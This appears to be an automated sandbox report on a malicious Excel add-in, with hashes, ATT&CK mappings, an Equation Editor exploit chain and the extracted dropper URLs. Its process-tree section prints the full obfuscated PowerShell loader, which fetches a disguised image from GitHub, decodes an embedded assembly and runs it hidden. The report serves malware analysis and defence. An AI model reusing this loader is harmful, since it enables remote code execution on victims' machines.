f3ca53807f32ccbc241ce2b92d7ab0727cfdf45e3fd88b9e3ac9a063f0aff086

General

Target

f3ca53807f32ccbc241ce2b92d7ab0727cfdf45e3fd88b9e3ac9a063f0aff086.xlam
Size

736KB
MD5

7c34b23b4b7cb66c2393128c3f55a0e1
SHA1

2cf918f985476c7d3988b7d2ac530d32c59de12d
SHA256

f3ca53807f32ccbc241ce2b92d7ab0727cfdf45e3fd88b9e3ac9a063f0aff086
SHA512

cd2d8d1f2e3accb677bed9be2a335253240458babedb514d88f31e980ed2740ebe586463fecf06ce5e3670ac430b1c54faf48732d29a98abeca28dae9daf537b
SSDEEP

12288:4gDGK/3uJ3WSZvFsxoHXYo1NmcCYlnjeRKZLImngMVTGckDI:jqKg35DHoojmcCEnjeyLImnLVTv

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

exe.dropper

https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2872	EQNEDT32.EXE
6	2772	powershell.exe
7	2772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2772	powershell.exe
2868	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2872	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2256	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2868	powershell.exe
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2932	2872	EQNEDT32.EXE	31
PID 2872 wrote to memory of 2932	2872	EQNEDT32.EXE	31
PID 2872 wrote to memory of 2932	2872	EQNEDT32.EXE	31
PID 2872 wrote to memory of 2932	2872	EQNEDT32.EXE	31
PID 2932 wrote to memory of 2868	2932	WScript.exe	32
PID 2932 wrote to memory of 2868	2932	WScript.exe	32
PID 2932 wrote to memory of 2868	2932	WScript.exe	32
PID 2932 wrote to memory of 2868	2932	WScript.exe	32
PID 2868 wrote to memory of 2772	2868	powershell.exe	34
PID 2868 wrote to memory of 2772	2868	powershell.exe	34
PID 2868 wrote to memory of 2772	2868	powershell.exe	34
PID 2868 wrote to memory of 2772	2868	powershell.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f3ca53807f32ccbc241ce2b92d7ab0727cfdf45e3fd88b9e3ac9a063f0aff086.xlam
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2256

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\mediciniiiiiffredating.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCd5akxpbWFnZVVybCA9IFlxTGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBZcUw7eWpMd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWUnKydudDt5akxpbWFnZUInKyd5dGVzID0geWpMd2ViQ2xpZW50LkRvd25sb2FkRGF0YSh5akxpbWFnZVVybCk7eWpMaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoeWpMaW1hZ2VCeXRlcyk7eWonKydMc3QnKydhcnRGbGFnID0gWXFMPDxCQVNFNjRfU1RBUlQnKyc+PllxTDt5akxlbmRGbGFnID0gWXFMPDxCQVNFNjRfRU5EPj5ZcUw7eWpMc3RhcnRJbmRleCA9IHlqTGltYWdlVGV4dC5JbmRleE9mKHknKydqTHN0YXJ0RmxhZyk7eWpMZW5kSW5kZXggPSB5akxpbWFnZVRleHQuSW5kZXhPZih5akxlbmRGbGFnKTt5akxzdGFydEluZGV4IC1nZSAwIC1hbmQgeWpMZScrJ25kSScrJ25kZXggLWd0IHlqTHN0YXJ0SW5kZXg7eWpMcycrJ3RhcnRJbmRleCArPSB5akxzdGFydEZsYWcnKycuTGVuZ3RoO3lqTGJhc2U2NExlbmd0aCA9IHlqTGVuZEluZGV4IC0geWpMc3RhcnRJbmRleDt5akxiYXNlNjRDb21tYW5kID0geWpMaW1hZ2VUZXh0LlN1YnN0cmluZyh5akxzdGEnKydydEluZGV4LCB5akxiYXNlNjRMZW5ndGgnKycpO3lqTGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNicrJzRTdHJpbmcoeWonKydMYmFzJysnZTY0Q29tbWFuZCk7eWpMbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHlqTGNvJysnbW1hbmRCeXRlcyk7eWpMdmFpTScrJ2V0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChZcUxWQUlZcUwpO3lqTHZhaU1ldGhvZC5JbnZva2UoJysneWpMbnVsbCwgJysnQChZcUx0eHQuNDQ0NDZlc2EnKydiJysnYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aFlxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMZGVzYXRpdmFkb1lxTCwgWXFMQWRkSW5Qcm9jZXNzMzJZcUwsIFlxTGRlc2F0aXZhZG9ZcUwsIFlxTGRlc2F0aXZhZG9ZcUwpKTsnKS5SZVBsYUNFKCd5akwnLCckJykuUmVQbGFDRSgnWXFMJyxbc3RSSU5HXVtDaEFyXTM5KSB8IGlleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('yjLimageUrl = YqLhttps://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg YqL;yjLwebClient = New-Object System.Net.WebClie'+'nt;yjLimageB'+'ytes = yjLwebClient.DownloadData(yjLimageUrl);yjLimageText = [System.Text.Encoding]::UTF8.GetString(yjLimageBytes);yj'+'Lst'+'artFlag = YqL<<BASE64_START'+'>>YqL;yjLendFlag = YqL<<BASE64_END>>YqL;yjLstartIndex = yjLimageText.IndexOf(y'+'jLstartFlag);yjLendIndex = yjLimageText.IndexOf(yjLendFlag);yjLstartIndex -ge 0 -and yjLe'+'ndI'+'ndex -gt yjLstartIndex;yjLs'+'tartIndex += yjLstartFlag'+'.Length;yjLbase64Length = yjLendIndex - yjLstartIndex;yjLbase64Command = yjLimageText.Substring(yjLsta'+'rtIndex, yjLbase64Length'+');yjLcommandBytes = [System.Convert]::FromBase6'+'4String(yj'+'Lbas'+'e64Command);yjLloadedAssembly = [System.Reflection.Assembly]::Load(yjLco'+'mmandBytes);yjLvaiM'+'ethod = [dnlib.IO.Home].GetMethod(YqLVAIYqL);yjLvaiMethod.Invoke('+'yjLnull, '+'@(YqLtxt.44446esa'+'b'+'bbbbbewmadam/431.871.64.891//:ptthYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLdesativadoYqL, YqLAddInProcess32YqL, YqLdesativadoYqL, YqLdesativadoYqL));').RePlaCE('yjL','$').RePlaCE('YqL',[stRING][ChAr]39) | iex"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
53143954570c9507ef372f2506c56772

SHA1
aed624cca6e5ff06c8eded5d06bd5d84db3c7c64

SHA256
3568d8a5e8d5e26d16aaed26195aeee24cafb9b867de69d521f23336200641c0

SHA512
afce48ff53df539214002df623598bc961b42242ec1ab0778d2df1caf6b46a8cd75512628cc0e61370bb20a68ea85be7bda6447e9c7210ddda493b5be46d7554

Download Submit
C:\Users\Admin\AppData\Roaming\mediciniiiiiffredating.vbs

Filesize
189KB

MD5
ba21082c47f33b42f6243198bea92684

SHA1
d0a7314525f30708cffd5273feb1fc24ff33523c

SHA256
6be117567324f1c1db4f2cbf48a25a3eaa24904238a37ab3b5e49b6970078b65

SHA512
dc21e6b490cb9f1b262622c28da8d8ce087bf1357b3f939f2e4fbe5339cd647045b4c89aeeb2543097b4b688643fead1547de59583659c16c5a8d0d530e54217

Download Submit
memory/2256-1-0x000000007233D000-0x0000000072348000-memory.dmp

Filesize
44KB

Download
memory/2256-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2256-16-0x000000007233D000-0x0000000072348000-memory.dmp

Filesize
44KB

Download

Analysis

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